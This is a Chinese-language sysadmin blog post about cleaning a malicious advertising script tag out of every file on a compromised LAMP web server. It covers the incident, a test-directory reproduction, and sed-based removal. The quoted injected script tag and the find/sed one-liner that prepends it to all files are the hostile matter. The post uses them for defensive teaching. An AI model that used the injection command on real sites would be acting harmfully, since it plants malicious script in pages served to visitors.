zoukankan      html  css  js  c++  java
  • lamp服务器站点目录被植入广告代码

    lamp服务器站点目录被植入广告代码

    欢迎来到 来到大浪涛天的博客

    lamp服务器站点目录被植入广告代码

    1 产生背景

    由于公司运维人员在系统上的权限体现分配不合理,导致站点目录被上传木马,把站点目录下所有文件均植入了如下广告<script language=javascript src=http://%4%66E/x.js?google_ad=93>
    包括图片目录也被植入,网站打开都会调用这个地址,显示出一个广告,产生恶劣的影响。

    2 解决思路

    因为站点目录下所有文件都被植入了<script language=javascript src=http://%4%66E/x.js?google_ad=93>这条代码,导致打开任何页面都会调用这个地址,因此需要在每个文件把该代码删除。

    3 从发现问题到解决的过程

    3.1 运维人员,网站用户发现问题,网站有弹窗广告。
    3.2 运营人员报给开发,开发工程师和运维工程师共同解决。
    3.3 开发工程师发现问题,所有站点目录被植入了一段JS代码。
    3.4 运维工程师解决问题:
    3.4.1 备份原始出问题的所有文件
    3.4.2 使用find +sed替换内容
    3.4.3 确认网站运行正常,且无上述弹窗广告
    3.4.5 详细查看日志,寻找问题来源
    3.4.6 提供改进方案,杜绝这种事情再次发生

    4 处理过程

    4.1 通过和该公司运维人员确认确实出现了问题,详细查看确认问题情况,发现是站点目录下所有文件的开头都被植入了恶意代码。
    4.2 制定处理方案,先备份已有数据,执行命令批量修改回来。
    4.3 写解决说明,发送给运维工程师。
    4.4 询问处理结果,详细查看日志,寻求问题来源
    4.5 提供站点严格权限规划方案,及新上线发布规范的思路

    5 处理步骤

    5.1 因此先模拟出问题来源,如下

    [root@server ~]# mkdir /www
    [root@server ~]# cd /www
    [root@server www]# touch file{1..100}
    [root@server www]# for n in `ls`;do echo "hello world" >>$n;done      
    [root@server www]# for n in `ls`;do cat $n;done |wc -l
    100
    [root@server www]# find ./ -type f |xargs sed -i '1 i <script language=javascript src=http://%4%66E/x.js?google_ad=93></script>'
    [root@server www]# find ./ -type f |xargs cat
    <script language=javascript src=http://%4%66E/x.js?google_ad=93></script>
    hello world
    <script language=javascript src=http://%4%66E/x.js?google_ad=93></script>
    hello world
    <script language=javascript src=http://%4%66E/x.js?google_ad=93></script>
    [root@server www]# cp -a /www /mnt/

    5.2 利用sed命令将代码片段匹配删除或者替换,如:

    删除
    [root@server www]# find ./ -type f |xargs sed -i '/^.* src=.*pt>$/d'   
    [root@server www]# find ./ -type f |xargs cat
    hello world
    hello world
    hello world
    hello world
    hello world
    
    替换
    [root@server www]# find ./ -type f |xargs sed -i '1 i <script language=javascript src=http://%4%66E/x.js?google_ad=93></script>'
    [root@server www]# 
    [root@server www]# 
    [root@server www]# find ./ -type f |xargs sed -i 's#^.* src=.*pt>$##g'
    [root@server www]# find ./ -type f |xargs cat
    
    hello world
    
    hello world
    
    hello world
    因为把恶意代码替换为空了,所以每个文件开头都出现了空白行,如果介意的话可以批量删除,如下:
    [root@server www]# find ./ -type f |xargs sed -i '/^$/d'
    [root@server www]# find ./ -type f |xargs cat
    hello world
    hello world
    hello world
  • 相关阅读:
    发现个atan2的正确使用方式
    Forward+ Shading架构
    fatal: unable to connect to gitee.com: gitee.com[0: 180.97.125.228]: errno=Unknown error 解决方案
    HDFS HA(高可用性)集群规划
    如何使用RTP引擎对语音编码进行转码
    关于 Angular 应用 tsconfig.json 中的 target 属性
    浅谈 Orbeon form builder 的权限控制
    关于 Angular 应用 tsconfig.json 中的 lib 属性
    orbeon form 通过 url 的方式同第三方应用集成的开发明细
    orbeon form 的配置介绍
  • 原文地址:https://www.cnblogs.com/chacha51/p/13764843.html
Copyright © 2011-2022 走看看